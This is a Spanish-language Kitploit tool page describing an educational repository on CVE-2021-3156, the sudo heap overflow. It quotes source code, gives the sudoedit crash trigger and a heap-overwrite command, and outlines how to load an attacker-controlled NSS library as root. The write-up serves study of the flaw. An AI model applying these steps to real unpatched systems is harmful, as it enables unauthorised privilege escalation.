Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-3156 — Implementación educativa y análisis de CVE-2021-3156, un desbordamiento de búfer en el montón en la función set_cmnd() de sudo, que permite la escalada de privilegios a root mediante argumentos de línea de comandos manipulados. | Kitploit
Herramientas/GitHubGitHub/musergi/cve-2021-3156
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubmusergi/cve-2021-3156

CVE-2021-3156

Implementación educativa y análisis de CVE-2021-3156, un desbordamiento de búfer en el montón en la función set_cmnd() de sudo, que permite la escalada de privilegios a root mediante argumentos de línea de comandos manipulados.

Ver Repositorio
2hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-3156

En este documento incluimos todo el conocimiento necesario para entender el código de este repositorio y por qué funciona. Toda la explicación se basa en el informe creado por QUALYS. Allí se explican otras formas de explotación.

Requisitos

Las versiones vulnerables de sudo son las versiones heredadas de 1.8.2 a 1.8.31p2 y todas las versiones estables de 1.9.0 a 1.9.5p1, en su configuración por defecto.

Este repositorio está probado en Ubuntu 20.04 (sudo 1.8.31). En él abrimos una terminal con privilegios de root.

Análisis

Si Sudo se ejecuta para correr un comando en modo shell:

  • Mediante la opción -s, que establece la bandera MODE_SHELL de sudo.
  • Mediante la opción -i, que establece las banderas MODE_SHELL y MODE_LOGIN_SHELL de sudo.

Entonces, al inicio de main() de sudo, parse_args() reescribe argv, concatenando todos los argumentos de la línea de comandos y escapando todos los metacaracteres con barras invertidas.

root@kitploit:~
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

Más tarde, en sudoers_policy_main(), set_cmnd() concatena los argumentos de la línea de comandos en un buffer user_args basado en el montón (heap) y desescapa los metacaracteres, "para fines de coincidencia y registro de sudoers":

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

Si un argumento de la línea de comandos termina con un solo carácter de barra invertida, entonces:

  • from[0] es el carácter de barra invertida y from[1] el terminador nulo
  • from se incrementa y apunta al terminador nulo
  • El terminador nulo se copia al buffer user_args y from se incrementa de nuevo y apunta fuera de los límites
  • El bucle while lee y copia caracteres fuera de los límites al buffer user_args.

En otras palabras, set_cmnd() es vulnerable a un desbordamiento del buffer basado en el montón, porque los caracteres fuera de los límites que se copian al buffer user_args no fueron incluidos en su tamaño.

En teoría, sin embargo, ningún argumento de línea de comandos puede terminar con un solo carácter de barra invertida: si MODE_SHELL o MODE_LOGIN_SHELL está establecido (una condición necesaria para llegar al código vulnerable), entonces MODE_SHELL está establecido y parse_args() ya escapó todos los metacaracteres, incluyendo las barras invertidas (es decir, escapó cada barra invertida individual con una segunda barra invertida).

En la práctica, sin embargo, el código vulnerable en set_cmnd() y el código de escape en parse_args() están rodeados por condiciones ligeramente diferentes:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

versus:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

La pregunta, entonces, es: ¿podemos establecer MODE_SHELL y ya sea MODE_EDIT o MODE_CHECK (para llegar al código vulnerable) pero no el MODE_RUN por defecto (para evitar el código de escape)?

La respuesta, al parecer, es no: si establecemos MODE_EDIT (opción -e) o MODE_CHECK (opción -l), entonces parse_args() elimina MODE_SHELL de valid_flags y sale con un error si especificamos una bandera inválida como MODE_SHELL):

root@kitploit:~
                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

Pero encontramos una escapatoria: si ejecutamos Sudo como sudoedit en lugar de sudo, entonces parse_args() establece automáticamente MODE_EDIT pero no reinicia valid_flags, y las valid_flags incluyen MODE_SHELL por defecto:

root@kitploit:~
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

En consecuencia, si ejecutamos "sudoedit -s", entonces establecemos tanto MODE_EDIT como MODE_SHELL (pero no MODE_RUN), evitamos el código de escape, llegamos al código vulnerable y desbordamos el buffer user_args basado en el montón mediante un argumento de línea de comandos que termina con un solo carácter de barra invertida:

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

Desde el punto de vista de un atacante, este desbordamiento de buffer es ideal:

  • Controlamos el tamaño del buffer user_args que desbordamos (el tamaño de nuestros argumentos de línea de comandos concatenados);
  • Controlamos de forma independiente el tamaño y el contenido del propio desbordamiento (nuestro último argumento de línea de comandos está convenientemente seguido por nuestras primeras variables de entorno, que no están incluidas en el cálculo del tamaño);
  • Incluso podemos escribir bytes nulos en el buffer que desbordamos (cada argumento de línea de comandos o variable de entorno que termina con una sola barra invertida escribe un byte nulo en user_args).

Por ejemplo, en un Linux amd64, el siguiente comando asigna un buffer user_args de 24 bytes (un fragmento de montón de 32 bytes) y sobrescribe el campo size del siguiente fragmento con "A=a\0B=b\0" (0x00623d4200613d41), su campo fd con "C=c\0D=d\0" (0x00643d4400633d43) y su campo bk con "E=e\0F=f\0" (0x00663d4600653d45):

root@kitploit:~
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
root@kitploit:~
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- buffer user_args ---->  size      fd       bk

Explotación

root@kitploit:~
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

La función que falla es nss_load_library() de glibc (en la línea 344) porque el puntero library fue sobrescrito.

root@kitploit:~
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

Los pasos para explotar este bloqueo son los siguientes:

  • Sobrescribir ni->library con NULL. Esto hará que el código entre en la cláusula if e inicie el análisis y la carga de la librería.
  • Sobrescribir ni->name con "X/X". Originalmente contiene "systemd".
  • Por lo tanto, las líneas de __strcpy analizarán "libnss_X/X.so.2" en lugar de "libnss_systemd.so.2".
  • Por lo tanto, estamos cargando la librería compartida controlada por nosotros "libnss_X/X.so.2" como root. En ella podemos hacer lo que queramos como root.
Descargar herramienta